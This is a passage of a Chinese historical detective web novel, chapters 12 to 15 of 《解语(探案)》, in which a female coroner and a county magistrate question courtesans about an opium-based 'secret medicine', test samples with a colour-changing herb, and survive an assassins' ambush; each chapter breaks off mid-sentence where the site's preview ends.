“只是,那小郎君身形瘦小,且自小体弱,平日里也羞于见人。”纳兰羿道,“谁都没想到,如此一个小郎君,竟是徒手砍杀十五个姑娘的真凶。” 王珏眸色微冷,听闻当年那案子在坊间闹得沸沸扬扬,为平息民愤,文帝不得已亲自下令处决了世子。 然虢国公之妹乃文帝淑妃,为保全淑妃颜面,文帝对外的解释是世子受人蛊惑,吃了毒药,而那毒药也因此被列为了禁药。 纳兰羿指了指手里的东西,“不错,当年那虢国公世子吃的就是这个东西。这东西是番物,名为阿芙蓉。起初它的作用与曼陀罗、五石散相似,可缓解疼痛麻痹神经。” “然这东西游传于下唐,几经提炼,如今其作用早已远超曼陀罗与五石散,听闻能使人进入飘飘欲仙的境界,还能使人短时间内爆发身体潜能。” 纳兰羿疑惑,“郎君是从何处得来的此物?” “实不相瞒,正是栖月楼。”王珏道。 纳兰羿无奈地叹了口气,“这可不是什么好东西,县尊若是抓到幕后真凶,劳烦将这东西都毁了吧。” 王珏坚定道,“自然。” 纳兰羿将东西还给他们,站起身,拍了拍衣裳上的褶皱与脏污,道,“我瞧县尊的毒清理得差不多了,这便不久留了,在下这就回去了。” 王珏微微颔首,“竹心,送纳兰医生。” 月夕见这里已没她什么事,也要告辞,谁想却听王珏道,“顾仵作的验案做得不错,可有兴趣担一担本县今日的临时书吏?” 月夕本想推辞,可一想起衙门里除了竹心和那些捕快衙役,县尊身边便再无相帮之人,又有些犹豫了。 “昨晚查搜栖月楼,倒也不是没有收获……” 一听到案件有所进展,月夕几乎脱口而出,“不知县尊查到了什么线索?” 王珏站起身走进一旁的屏风内,好一会儿,才穿着官服走出来。 他看起来气色不大好,但在这身官服的加持之下,他身上的那股儒雅贵气莫名显得威严了几分。 他理了理袖口,并未回答她的问题,只道,“跟本县去趟刑房。” 月夕也不再追问,只点点头,跟了上去。 早有狱吏在刑房门前等候,见王珏几人到来,连忙将他们迎了进去。屋子里一片漆黑,在烛火以及透过天窗隐约光线的投照下,月夕终于看清了屋子里的情形。 微潮的地上此刻正跪着一个容貌姣好的女子。 月夕认得她,她是栖月楼里的另外一个花魁,名唤红梅。 王珏在主座上坐下,居高临下地往地上看了一眼,语气里带了几分上位者特有的威严,“想好了么?” 红梅连连叩头,“回县尊大人,奴想好了!” 王珏微微颔首,“说吧。” 红梅坚定道,“奴肯定,彩蝶是于妈妈杀的。” 话音刚落,刚掏出文房四宝准备记录的月夕微微一顿,彩蝶是栖月楼的花魁,即便她要自赎,楼里还有其他花魁,于妈妈也不至于将她给杀了。 “县尊大人有所不知,栖月楼有个规矩,但凡升为花魁,都能单独住一间高楼。” 她道,“栖月楼里有四个花魁,分别住在东南西北四个阁楼中,正巧,彩蝶住的南面的阁楼,而奴住的是北面的那个,更巧的是,奴屋子里的窗户正对着彩蝶屋子里的窗户。” “彩蝶的身子一向很好,也不知为何,月余前,她整个人竟突然消瘦了些许,起初她还出来见人,但后来便日日将自己关在楼里,奴几乎是亲眼见着她消瘦下去的。” “彩蝶死前那晚……” 她有些紧张,“彩蝶死前那晚,奴瞧见于妈妈去见了她,也不知说了什么,彩蝶大怒,要与于妈妈动手,后来还是于妈妈喊来了龟公,才制住了她。奴……奴永远也忘不了彩蝶看向于妈妈的眼神……” “那眼神仿佛是自地狱归来寻仇的恶鬼……”她越说越害怕,整个身子竟软了下来,“奴……奴实在是……” “所以昨晚,你说彩蝶回来寻仇了?” “是!”红梅道,“县尊大人,彩蝶那眼神实在……太吓人了!而且当时她消瘦得只剩下一副骨架,那样子……” 她不寒而栗,整个头皮都开始发麻,“奴听闻,死于非命之人,会化作厉鬼回阳间,找寻那凶手……” 王珏正色道,“若世间命案皆是如此,还要衙门何用?” 他的声音不卑不亢,犹如一棵山间老松,又像一根定海神针,叫人莫名地安定了下来。 红梅小声抽泣了一会儿,再也没说下去。 王珏从袖袋中将放着阿芙蓉的香囊拿出来,“可识得此物?” 红梅接过一看,脸色忽而变了,“识得!奴识得此物!这是于妈妈给的秘药,抠下一点放温茶水里,饮上三四日,身上便会有一股淡淡的沁香,肌肤也会变得比从前更加地嫩滑似雪!” 说着她从腰间的一个绣着寒梅的香囊里拿出一小颗黑色的药丸,“正是此物。” 月夕倏地起身,过去拿起药丸,细细看了看,又将其放置鼻下闻了闻,秀眉喂喂一蹙。 眼瞧着这么一张脸突然出现在面前,红梅吓了一跳,竟一时说不出话,但很快她似是想到了什么,“只是……” “只是什么?”竹心问。 红梅撩起左手衣袖,一截洁白如藕节的手臂展露无疑,众人皆是神色一凝。 红梅却很是大方地展示着自己的手臂,道,“县尊有所不知,这秘药看上去虽好,可一旦服用,便不能停歇,若是停下,奴的肌肤便会逐渐溃烂,去年奴病了一场,便停了药,没成想,奴开始消瘦,甚至手臂也开始出现溃烂模样,要不是奴求了于妈妈,奴的手怕是……” 月夕将那药丸放进随身的香囊中,近前将她的手臂细细查看了一番,却见她 12. 青龙帮 《解语(探案)》全本免费阅读 刚走进刑房,青霜便噗通一声跪了下来,口齿十分清晰,“婢子青霜,见过县尊大人。” 她虽然是个侍婢,但言行举止之间却比方才的花魁红梅沉稳多了,月夕不由得多看了她几眼。 从骨相与肌肤纹理来看,青霜的年岁恐已经超过四十,但由于体态挺拔,看上去却也只有三十几的样子,鬓边虽有几根华发,却也丝毫不影响。 王珏开门见山:“听闻你是三年前来的黎阳县?” “回禀县尊,奴婢的家乡在滨南县,五年前滨南洪灾,洪水连绵数百里,奴婢的家人也死在了这场洪灾之中,为了活下去,奴婢辗转了好些个地方,学了一些看账本的本事。再后来,有一个恶霸看上了奴婢,想要抢了奴婢去做外室,奴婢不从,便被生生剜了一只眼睛。” 她轻轻地摸了摸那只没了眼睛的眼眶,道,“奴婢死里逃生,辗转来到了黎阳县,于妈妈见着奴婢有些看账的本事,便与奴婢签了死契。” 王珏眯了眯眼,“你倒是老实。” 青霜叩头行了一个大礼,“回县尊,奴婢虽然已无自由之身,但奴婢还有些良心,更何况,于妈妈已经死了。” 月夕写完最后几个字,抬头往青霜的方向看了看,这女子的行为虽然看上去背主,但行事作风却又十分识时务,很是聪明。怪不得即便是没了一只眼睛也能活下来。 竹心将方才的香囊递过去,“可识得此物?” 青霜看了一眼,点点头,“回县尊,这是于妈妈给楼里姑娘们准备的‘秘药’,每月一颗,是由奴婢亲自送的。” “可知从何而来?”竹心又问。 青霜道,“奴婢虽然不知此物是于妈妈从何人手里拿的,但却知这东西来自金匮城,每回这东西快没时,楼里就会来一批来自金匮城的客人,只是每每此事,于妈妈从来不让奴婢伺侯,奴婢知道的也就这些了。” 说着,她从怀里掏出一个账本,“这是于妈妈交给奴婢的账本。” 竹心接过账本翻看了几页,随即交给了王珏。 青霜继续道,“这一本账本里记的是,后院雅间的吃喝用度,每一个月,号‘梅’的雅间里便会来好些来自金匮城的贵客。” 王珏翻了翻,这账本中确实有些规律。 青霜埋着头,继续道,“其实奴婢知晓那东西是害人的玩意儿,可姑娘们总不听劝,奴婢也没法子……” 她挽起袖口,洁白的手臂上斑斑点点、深深浅浅全都是瘀痕,“这东西会让人上瘾,奴婢曾想着戒掉此物,可怎么都戒不掉。” 话音刚落,她对着王珏连连磕头,“恳请县尊看在奴婢实话实说的份儿上,将来若寻着解药,可否救奴婢一命?” “这东西有解药?”竹心问。 青霜眼里升起的些许希冀被这一句话倏地灭了,她苦笑一声,“奴婢曾听于妈妈说过一嘴,只是奴婢怎么找寻都无果,奴婢只想活命,求县尊救命。” 王珏手里不知何时多了一块玉珏,他边摸索着那块玉珏腹下凸起,边微微蹙起眉思索着什么。 过了好一会儿,他点点头,“若你所提供的线索皆属实,若真能寻着解药,本县定不会让你去死。” 竹心又问,“你可知青龙帮?” 青霜倒也毫不隐瞒,直接道,“青龙帮是黎阳县的第一大帮,奴婢自是知道的。” 王珏问:“听闻青龙帮也常去栖月楼光顾?” “是。”青霜道,“青龙帮是栖月楼的常客,自是常来光顾,只不过最近青龙帮换了个头领,便来得勤了些……” 王珏顿了顿,继续问:“可识得顾宗?” 青霜正连连叩谢,听到这个问题时微微一顿,目光往一旁的月夕身上瞥,“敢问县尊,可是那位顾仵作?” “正是。” 青霜思索了片刻,“奴婢只听说过,却没机会见过。” 王珏再问,“于妈妈死前一日,顾仵作去了栖月楼。” 青霜两忙道,“第二日是奴婢的交账之日,所以那晚奴婢一直在屋子里,此事恐怕还真不知道,若县尊信得过奴婢,奴婢一会儿回去查一查?” 王珏顿了顿,才道,“下去吧。” 青霜走后,竹心满眼怒意地走到王珏面前,“郎君,属下可要去探探那青龙帮?” 王珏抬手,止住他的话头,扭头看向月夕,“顾仵作以为如何?” 月夕刚写完最后一句,将笔放下,抬眸看向王珏,“青龙帮盘踞黎阳县多年,牵扯甚广,县尊初来乍到,可有把握探得消息?” 虽然她说得不大客气,但言语皆是事实,王珏再次瞥了一眼竹心,竹心会意,只好默默低下了头。 月夕将记录下来的口供都整理好,递交给了王珏,眉目之下,依旧是淡淡的,“我听阿爷说起过这青龙帮,从前他们也不过是码头上的一个小小帮派,管的也不过是码头上的那些事。后来皇帝陛下要建望星台,征粮征税征人,只一年,黎阳县便出现了易子而食之事。黎阳县石多土少,不宜种粮,若非青龙帮,这些年黎阳县怕是早就饿殍遍野,民不聊生了。” 说完,她向两人福了福身,转身便往敛尸房走去。 “郎君?”竹心蹙眉,“她这是什么意思?” 王珏将月夕整理好的口供握在手中,细细地翻看了起来,“你我初来乍到,有些事,应当多听听旁人意见。可有查出什么?” 竹心立即敛眉,摇了摇头,“只查得她是五年前在城外河边被顾宗捡回来的,顾宗念及她孤身一人又天赋聪慧,便将其留在身边悉心教导。听问,顾宗不想让她入行,鸣虫巷酿酒的杨氏夫妇曾向顾宗求娶,顾宗未曾答应,只说一切由她自己做主。” 王珏挑眉:“五年前?” “是。” 王珏似是想起了什么,随即眯起双眸,“听闻黎阳县半数生意都被莫府与青龙帮瓜分了?” 竹心一时未反应过来,王珏缓缓起身,“派人给莫府送张帖子,就说我明日要登门拜访。” 竹心蹙眉,“郎君,你的伤……” “无妨。”王珏将口供递交给他,“再着人细查这些年黎阳县百姓民生,我要知道……” 他顿了顿,“罢了,我自己去查。” “郎君……” “快去快回。” “是。” 县衙大门悄悄开了一条缝,从里头走出来一个身着粗布衣裳的女子。 女子从衙门里出来,径自走到外头停着的马车旁,正要坐上车辕,却被人叫住。 “请留步。” 青霜扭过身,从马车后走出一个人,正是方才在刑房的月夕。 青霜走了过来,朝她福了福身,“顾娘子。” 月夕回了一礼,道,“方才有些问题还未来得及问。” 青霜很是配合,“娘子请说。” “敢问那秘药青霜娘子是何时服食的?” 青霜回忆了会儿,“三年前与于妈妈签下死契时,于妈妈给的。” “楼里的姑娘们与于妈妈签的都是死契吗?” 青霜摇头,“有些姑娘是卖身进的楼,有些则是赊身入的楼,卖身的签的死契,赊身的若能挣够自赎钱,便可离开。” “那彩蝶娘子签的是死契还是活契?” 青霜道,“彩蝶娘子是卖的身,自是死契。” “她何时吃的秘药,又是入的楼?” 青霜想了想,“似是两年前被她那相好的卖进楼的,进楼第二日便吃了那秘药,后来听闻她那相好的第二日便进京去了。” “进京?” 青霜点头,“是,她那相好的是个读书人,听闻是路边捡的她,后来那读书人无钱养她,便将她卖进了栖月楼,自己则是进京赶考去了。” 月夕微微蹙起了眉,青霜见状,浅笑一声,“世间男子皆薄情,是彩蝶命苦罢了。” “青霜!怎地还不走?”马车里传来红梅的声音。 青霜微微一顿,又朝月夕福了福身,“顾娘子节哀,奴婢这就先回去了。” “好。”月夕点了点头。 敛尸房地下冰窖内,月夕已经穿戴好衣裳,站在彩蝶尸体前许久。 她总觉得还有什么没验完,可总也说不上来到底是什么。 < 13. 金蓟乌兰 《解语(探案)》全本免费阅读 透气口旁还有一个口子,那口子很小,却能看到门外的境况,月夕好奇地走了过去,站在那口子前,也往外看了一眼。 那阵喧哗已经不再,纹绣铺子对面的胭脂铺子门口多了好些身着青衣头戴斗笠的男子,月夕呼吸一滞,这是青龙帮的人。 这群人在门口处站了一会儿,领头之人一声令下,他身后的那群人一拥而上,将对面的胭脂铺子砸得七零八落。过了好一会儿,便有几人从铺子里架了个女子出来。 那女子一身素衣,却是哭得梨花带雨,大约是力气太小,她想要反抗却无能为力。 女子的身后跟着一个同样哭得不成样子的老妪,老妪伸手想要将女子拉回去,没成想却被一旁的青龙帮众一脚踢至下腹,整个人摔倒在了地上。 吵闹声哭喊声络绎不绝,月夕紧蹙起眉,等到门口的人都走光了,她才迅速开了门,跑了过去。 老妪已经摔晕了过去,月夕花了很大的气力才将她扶起来,那少年也跟了出来,瞧着这般情形,他也有些慌了,“我……我去回春堂找医郎!” 月夕微微颔首,随后从腰间的荷包里拿出一个小小的布卷,摊开后,从里头拿出了几枚银针,在老妪身上的几处穴位扎了下去。 不一会儿,老妪才渐渐醒转,大概是伤怒交加,刚醒转片刻,她便要哭喊着要去寻女儿,直到她看清月夕的脸,才忽得顿住了。 整个黎阳县的人都知道,顾仵作家有个面容丑陋的修颜娘子,老妪自然也是认得月夕的。 瞧见月夕在此,老妪更是心慌,一时竟是忘了哭。 正此时,那少年也带着医郎跑来了,月夕这才起身往后退了退。 见老妪在医郎的照顾下有所好转,少年才走到月夕面前,“我师父正后院睡觉,我领你去见他吧。” 月夕微微颔首,跟着少年回了纹绣铺子,“方才那些人……” “青龙帮过来提赌资罢了。”少年很是习以为常道,“今年青龙帮在擎天坊设了个赌坊,对面瑜娘的阿爷也去赌了,大约是赌得血本无归,才将瑜娘抵了吧。” "好在他们不会轻易来寻我师傅的晦气。"他耸了耸肩,领着月夕走进后院,“不然可就没人给他们帮众刺青了。” 正说着,月夕便被领进后院的花厅里,彼时厅中的卧榻上,正斜斜地躺着一个老者,老者怀里还抱着个酒壶,酒洒了一半在地上,惹得整座花厅都酒气熏天的。 少年近前将老者摇醒,“师父!有客!” 老者呼噜了几声,紧闭着的眼睛缓缓睁开,嘴里还不忘嘟囔着回应:“哪条道上的客?” 月夕近前半步,“凌师傅。” 凌师傅还没从梦里醒过来,冷不丁地看见了月夕的脸,整个人倏地清醒了过来,“你……你不就是……不就是那个老顾家的孩子?” 月夕颔首,“小女正是。” 凌师傅坐起身来,接过少年递过来的茶水漱了漱口,才道,“老顾的事我听说了,你节哀。” 月夕福了福身,“多谢凌师傅,只是小女今次来,还有一件事。” “何事?”凌师傅微微挑眉。 月夕从怀中拿出一个卷筒,从里头抽出一张画,“敢问您是否见过这个纹绣?” 凌师傅正要去接,一旁的少年却咦了一声,“这只蝴蝶怎地还有旁的颜色?” 凌师傅看了一眼,也蹙起了眉,“这是?” 月夕如实道,“前几日栖月楼的花魁彩蝶娘子被发现死在了城外,我在检查她的尸体时,瞧见了这个特殊的纹绣。” 凌师傅微微颔首,“这的确是我给彩蝶娘子刺的,只是……” “只是刺青大部分都是青黑色的。”少年抢过凌师傅的话头,“师父,您这彩色的是怎么刺的?” 凌师傅没好气地白了他一眼,问向月夕,“那彩蝶娘子身上的纹绣,当真是这种颜色?” 月夕点头。 凌师傅暗道一声不好,站起身来,往院子里走去。 院子里有一个大凉棚,凉棚之下晾晒着好些药草,他从中拿了一棵,道,“我们这行是个破皮的买卖,未免客人身有不适,便也有了些讲究。我们会提前备些药草,这金蓟乌兰便是最重要的一味。” 他将金蓟乌兰递了过去,“金蓟乌兰止血化瘀,又有一个百毒显的名号,遇毒则变色。” 月夕蹙眉,“您是说,彩蝶娘子身上有毒?” 凌师傅点点头,“恐怕是了,你要不信,便取些这玩意儿回去验一验。” 月夕收了金蓟乌兰,颔首称谢,“多谢凌师傅。” “谢什么?我与你阿爷也算得上是酒友。”他顿了顿,“我老了,身子骨也不大行了,你回去帮我给你阿爷上柱香吧。” “是。”月夕福了福身,正准备告辞,却听凌师傅道,“当日那彩蝶娘子来刺青时,曾说过一句话。” 月夕抬眸,定定地看着他。 他道,“她说,她想像肩头的蝴蝶一般,自在游走在花丛之中。” 凌师傅摆了摆手,“还以为这姑娘当真化蝶而去了呢,谁想……” 层层雨幕渐渐落下,瓦片也随之劈啪作响,月夕朝凌师傅行了个礼,转身便撑起伞,走进雨幕里。 这天儿,终究还是没忍住,又下雨了。 月夕刚回七角巷,便给顾宗上了柱香,随后将茶几搬到了灵堂上。 茶几上放置了四个碗,每个碗中都放了一些捣碎了的金蓟乌兰,随后她又往里头倒了些水,碗里的水瞬间变成了墨青色。 随后她从袖袋里拿出两个荷包一个小布团,其中一个荷包是从于妈妈屋子里找到的,另外一个是她自己的,里面放着的是从顾宗体内拿出来的那颗阿芙蓉,那个小布团里的则是红梅的那颗。 未免串味,她戴上了白叠布手套,又拿了三个勾刺,分别从三颗阿芙蓉上勾下一些,各自挑了一个碗放进去。 果不其然,才不过半柱香的功夫,那三个碗里的颜色都变了。 未放任何东西的碗中依旧是墨青色,红梅的阿芙蓉在碗中呈浅淡红色,而于妈妈屋子里找到的与顾宗体内取出的阿芙蓉,在碗都呈七彩之色。 如此七彩,竟与彩蝶娘子肩上的彩蝶颜色如出一辙。 月夕不由得陷入了沉思。 栖月楼里的阿芙蓉竟还有不同品类的? 绵绵细雨下了一夜,至晨起时才歇,月夕一早便去了衙门点了卯,听闻县尊一早便领着衙门里的衙门捕快出去了,便去了趟回春堂。 自从回春堂换了个东家,门庭也变得热闹了好些,听闻前日里他们在门前摆了个免费的面诊摊子,举黎阳县的老人妇孺几乎都来了;昨日又换了个花样,他们在门前支了一个棚子,棚子里摆放着各种熬好的去湿汤药,放言,身子有任何湿气郁结的都可领一份。 今日回春堂门前又围满了人,也不知这回又是什么名堂。 正要近前,却见一只七彩的孔雀从里头走了出来,月夕被这场景晃了一下,待看清时,那只“孔雀”已然站在了她面前。 “我道是谁,原来是潜之府上的那个仵作小娘子!”苏朗展着他那灿烂的笑容,看着她,“今日我回春堂施药膳,仵作小娘子可要来一碗?” 月夕微微一愣,没想到,县里传了小半个月的京城来的回春堂的东家,竟是这么个……孔雀。 她下意识地后退了半步,“不必了,小女是过来寻人的。” “哦?何人?” 14. 岔子河 《解语(探案)》全本免费阅读 月夕微微诧异了一下,但一想起询问案件细节本就是县尊的事,便又微眯了眯眼,“那当日你是如何回答的?” 阿布道,“我同他们说,当日我举着油灯,背着背篓,缓缓朝河边走去,走到那处时,听到脚底下咔嚓一声响,头顶就飘过……” 月夕问:“那声音是从脚底下传来的?” 阿布点点头。 月夕蹲下身,细细地围着树根看了一圈,随后又绕着树干看了一圈,阿布挠了挠头,“月娘,这棵树怎么了?” 月夕蹙了蹙眉,这棵树到底怎么了她也说不上来,只是突然想起从前看的一本关于奇门遁甲的书。 书上有写到一个无中生有的阵法,那阵法便是以天蚕丝做阵,一头捆着束缚物一头捆着无中生有之物,便可在大半夜的装神弄鬼,吓退敌军。 那阵法与这林子里的布局,以及阿布所言的那些竟是有几分相似。 突然,那棵树的树干某处吸引了她的注意,却见那处有一条非常浅却十分直的凹线,像是被什么细线勒出的痕迹。 她又往旁边那几棵树看了看,果不其然,那几棵树的树干上皆有几条深深浅浅的勒痕。 见她这般认真,阿布也认真地探过头来,“月娘,这树上可是有什么东西?” 月夕这才回过神,一回头,对上了他那双炯炯有神满是求知欲的眼睛,她顿了顿,道,“没什么,这里县尊可曾留意过?” 阿布想了想,道,“那日县尊问完话我便被带回去了,不过我走前县尊似乎也对着这些树看得出神。” 月夕点点头,那便是看过了。 她站起身,拍了拍手里以及衣裳上的脏污,转身往河边走去。 说起来,这个地方与她也算是有缘,五年前,她便是在这里被顾宗捡回去的。 河对岸是一座岛山,山上便是乱葬岗,埋着好些无主的尸骨,有的客死他乡,有的无父无母无儿无女,有的无钱买棺椁。 听顾宗说,当日他来看望一个老朋友,路过河边之时发现了趴在一根浮木上的她。 当时的她奄奄一息,脸上的伤被河水泡得面目全非,顾宗当时还以为他要捡回去一个尸体,正打算验尸了,却发现她竟还有呼吸。 这条河的走势很是奇怪,虽说是河,蜿蜒之处却狭窄得如同一条小溪,河水看上去明明很是湍急,可拐到此处的拐角,绕着那座岛山,撞上满是石岩的山壁上时,却明显缓慢下来了很多。 大概也正因如此,她当年才能捡回一条命。 这些年她一直被顾宗照顾得很好,除了在城里晃荡,鲜少出城,竟也不知这条河叫什么名,上游又是何处。 她如是想,也如是问阿布。 阿布倒是知道,“这条河没有名字,但老人们都称之为岔子河,顾名思义,便是会开岔子,譬如这河的上游,便有一个岔子,那岔子又分为两条支上流,其中一条来自北面,另外一条来自西面。” 往北便是扶绥国,而往西是县城方向。 那亓官郎君便是扶绥人,而彩蝶…… 彩蝶倒是有两种可能,要么是半夜自县城飘至此处,要么便是在此处遇害的。 那么她呢? 她也是从这条河里捞上来的,顾宗发现她时是在白日里,若她是从县城飘来的,怎地城里河边之人为何看不见?若她是从扶绥国飘来的,那她与扶绥又有何关系?难不成她也来自扶绥么? “这附近可有船?”月夕问道。 阿布连连摆手,“这几个月都在下雨,再加上这条河段水流湍急,已经没有船只敢过来行船了。” “你可知这条河下游去向?” “自然省得。”他道,“经过前头那一条蜿蜒小道,可与城中河道汇合,最终游向兴海城,最终汇入东海。” 阿布往河面看了看,嘶的一声倒吸一口凉气,“瞧着这水位又比前几日上涨了好些,这天儿怕是又要下雨,月娘,咱们还是回去吧。” 月夕看了看天色,天色确实不早了,若是再不回去,城门怕是要关了,于是她转过身道,“听闻回春堂来了位新医郎?” “是啊,京城来的呢!”说着,阿布又啧啧几声,“不过,那位纳兰医生医术高超,脾气却古怪得很,才来就立下规矩,每日只看诊三位病人。” 月夕突然想起亓官彧的话,再问:“他住在城外?” 阿布眼睛一亮,“月娘你怎知晓的?纳兰医生说喜欢清净,东家便在城外买了一个别院,专门给他住的。” 阿布还想发些关于纳兰羿的牢骚,却被月夕打断,“可否带个路,我想登门拜访。” 阿布犹豫了一会儿,但一想到可以马上离开这阴气森森的林子,立刻满口答应,“好嘞!” 阿布已经用最快的速度赶车,没成想马车行至半路,酝酿许久的雨终究还是落了下来,好在这简陋的马车有一层防雨布,放下那层布,他二人这才勘勘没有被雨淋湿。 只是这天色却已经很晚了。 阿布有些着急,倘若今日回不去,怕是就要露宿了。 正想着,月夕突然叫停,阿布勒住缰绳,回身冲马车里道,“月娘,天色不早了,若是再赶一赶,咱们……” “噤声。”月夕将手抵在唇上,做了个噤声的手势。 阿布见状,连忙闭上了嘴,一双大眼左右转着,似是在探索着,也似是在询问。 好半晌,月夕才道,“你可听见了什么?” 阿布冷汗都下来了,背上不知是雨水还是汗水,竟是湿了一片。 他带着哭腔小声求饶道,“月娘,你可莫要吓唬我,我……我现在的胆子,很不经吓唬……” “你听,附近可是有什么打斗之声?”月夕道,“你再细细听听。” 在月夕的循循善诱之下,阿布这才冷静下来,这一冷静,他便听到了一些除了雨声风声的另外的声响。 “是!是兵器碰撞的声音!”阿布道,“这么晚了,是有什么人……” 才冷静不到几息,又有一些不好的画面钻进了阿布的脑子里,他坐在车辕上,紧紧握住缰绳,将自己缩成了一个球,“难不成,是什么阴兵过境……” 没等他胡思乱想出个结果,月夕便已经穿好雨披下了马车,阿布想要跟上却又害怕,愣是将自己黏在了车辕上。 月夕道,“你若是怕便躲车里去。” 阿布正要说不,可那刀枪剑戟的碰撞之声又传来了,他 15. 女仵作 《解语(探案)》全本免费阅读 月夕本想说她是来救他的,可还没来得及开口,黑衣人便又来了,而此时王珏手里已经没了武器,无奈之下,王珏只好拉着月夕开始东躲西藏。 竹心虽然快要力竭,但功夫却还在,不过几息的功夫,他便解决了身边围着的五六个黑衣人,跑到了王珏这边,将两人护在了身后。 趁着这个空档,月夕才开口,“县尊,我已经派人回城给回春堂东家送信,咱们只要撑到他来即可。” 王珏嗯了一声,紧了紧她的手腕,有意无意地将她护在身后,“他们都是杀手,切记先护好自己。” “是。”月夕点点头,捏着银针的手却依旧没松懈。 夜色愈发浓郁,雨越下越大,黑衣人的人数却不减反增,三人被黑衣人不间断的重重攻击之下,身上挂了不少的彩,竹心终于还是没稳住,手里的剑被黑衣人震得松了松。 也正是这么一个破绽,惹得眼尖的黑衣人对其群起而攻之,月夕见状心里暗暗一惊。 千钧一发之际,她挣脱了王珏的手,近前半步,趁着偷袭的黑衣人靠近竹心,手里的银针全部往他身上招呼了过去。 却听一声闷哼声,那黑衣人虽未倒下,却也迟钝了一下,只这一下,便被竹心一剑贯穿之。 然而惊险还未除去,在场的黑衣人少说有十几个,月夕吃了一惊,这群杀手是要绝了他们的生机! 风雨如刀,狠狠地打在了众人的身上,竹心携着月夕与王珏四处躲避,也不知过了多久,月夕竟是觉着自己有些精疲力尽。 正此时,不知从何处飞来了一个黑衣人,月夕以为又是补上来的杀手,正准备再次躲避,却没成想,那黑衣人抡起手里的剑,钻进杀手群中一顿乱杀,才不过几息,杀手便倒下一片。 月夕定睛一看,那黑衣人的身形竟是有些眼熟! 来不及细想,那新加入的黑衣人便又杀了四五个杀手,其速度与杀伤力竟是惊人地可怕,只不过半盏茶的功夫,那群杀手便被杀得只剩下三四个。 杀手们也终于意识到了不对劲,纷纷停了手,眼见着那人还要杀,剩下几人也不恋战,转身消失在了夜幕之中。 四周终于恢复了平静,亓官彧闪身来到月夕的面前,展开一个灿烂的笑脸,邀功似得道,“小月娘,我来救你了,你可还好?” 月夕终于见识到了这个男人的可怕,正想往后退半步,却听不远处传来了好些马蹄声,众人往那处看去,却见那只孔雀正一手拎着火把,带了一群人骑着马浩浩荡荡地往他们跑过来。 那孔雀边跑还边喊,“大胆宵小!不得放肆!” 月夕:…… 众人:…… 月夕这才松了口气,那只孔雀来了,县尊应该安全了。 正此时,耳边传来一个重物落地的声音,她转身一看,却见方才还好好站着的亓官彧,此刻竟是倒在了地上,晕了过去。 由于天色已晚城门已关,几人都伤得不轻,再加上也不知城里会不会还有杀手等着他们,苏朗只好将他们安置在了城外他刚买的别苑里。 好在他是开回春堂的,医郎与药品都不缺,不过半个时辰的功夫,几人都被好好诊治了一番。 “那个……仵作小娘子,我让人在后院收拾出一间屋子,不如你先去歇息一番?” 月夕刚包扎好伤口,拖着浑身湿透的身子,刚想要去厨房烤烤火,苏朗便拿了块白叠布跑了过来。 月夕接过绵软的白叠布,擦了擦还在滴水的发梢,向他福了福身,“多谢郎君。” 见她领情,苏朗咧开嘴笑了起来,“鄙人姓苏,单名一个朗,字远山。敢问小娘子芳名?” “小女姓顾,名月夕。” “月夕……,好名字。”苏朗抿着唇细细品了品,道,“草下阴虫叶上霜,朱栏迢递压湖光。兔寒蟾冷桂花白,此夜姮娥应断肠[1]。虽隐约有些伤感,却十分有寓意啊。” 月夕:…… 她怎么不知道自己的名字还有这么些寓意? “阿兄!” 正此时,不远处跑来一个俏丽的小娘子,她上身粉嫩下身鲜绿,看上去十分娇俏,发髻上还有一支蝴蝶步摇,随着她一路的小跑,蝶翅也跟着颤动起来,像是活了一般。 待走近了些,月夕才看清她的面容。 除了身形体格,那张脸竟是与苏朗长得一模一样。 小娘子气喘吁吁地跑到苏朗面前,慌张道,“阿兄!我听闻潜之哥哥受伤了,到底发生了何事?” 苏朗朝屋子里努了努嘴,“纳兰兄正在里头看着呢,也没什么大事。” “羿哥哥都出手了怎能无事?我要进去瞧瞧。” “回来!”苏朗拉住她,“你进去也帮不上什么忙,还是在外头坐一坐吧。” 说着他冲月夕微微一笑,“这位是舍妹,苏兰。阿兰,这位是黎阳县的仵作,顾娘子。” 苏兰的注意力果真被拉了回来,待对上月夕那张脸时,她微微一震,似是被惊吓到了,但很快她的讶异大过了那份惊吓,直问,“女……女仵作?” 月夕微微颔首,起身福了福身,“苏娘子。” 苏兰眨巴着她那双大大的眼睛,再次确认,“女仵作?” 月夕不明所以,顺着她的意思点了点头。 “哎呀!”苏兰惊叫一声,“顾娘子你都湿透了!” 月夕淡淡地嗯了一声,“正要去处理。” “不如去我屋里吧,那儿比较方便。”苏兰道,“我让人烧了水了。” 月夕本想拒绝,谁想苏兰一把拉住她,“走吧,我听人说,姑娘家可不能经常泡水,会伤身子的,快随我来!” 正说着,苏兰便将她引进了后院,并在一座阁楼下停了下来。 苏兰冲她笑道,“听闻这别苑荒了好些年了,我是看在这座阁楼还算雅致才买下来的。顾娘子,你先在屋子里坐一会儿,我去给你寻身干净的衣裳。” 月夕微微颔首,“多谢。” 没想到苏兰与苏朗不仅长得像,竟是连性格在某些方面也有些相像,譬如方才那兴致勃勃的样子,便与苏朗一般无二。 阁楼一楼的堂屋很大,进门便是好几排高高的横排架子,架子上挂了好些布料,五颜六色的,同苏朗身上的那些竟是有些异曲同工之处。 月夕抿了抿唇。 正看得入神,苏兰也不知从何处拿了一套衣裳,放到她手中,“这衣裳是我自己亲手做的,也不知顾娘子会不会嫌弃……” 宝石蓝搭配着墨绿色与明黄色,一如既往如蓝孔雀般的配色,月夕的唇角微微抽了抽。 她终于知道苏朗身上的那件花枝招展的衣裳是从哪儿来的了。 看着月夕欣然接下,苏兰眼里的光越来越亮,这便是话本上说的江湖儿女吧!举手投足之间皆是潇洒之气,她这辈子还从未见过像这样的女仵作呢! 没过多久,一个小侍婢跑了过来说水烧好了,苏兰正要开口,却被月夕打断了。 “也不知县尊大人情形如何?” 苏兰那张俏丽的小脸又拧巴了起来,但很快她道,“有羿哥哥在,潜之哥哥定会没事的!顾娘子,我……” “我自己来吧。”正说着,月夕已经走到盥洗室门前,她道,“劳烦苏娘子帮我备一杯姜茶,多谢。” “好!我这就去!”苏兰说着,扭身便跑开了。 耳边顿时清净了下来,月夕长吁了一口气。 盥洗室内烟雾缭绕,室内正中央摆着一只非常精致的金镶玉边儿的木桶,桶中的水热气腾腾,水面上还洒了好些花瓣,那独属于花瓣蒸腾后的香气扑鼻而来,对比起她在七角巷里的那只破浴桶,大概这便是精致的闺中小娘子该有的样子吧。 月夕将自 16. 不同品类 《解语(探案)》全本免费阅读 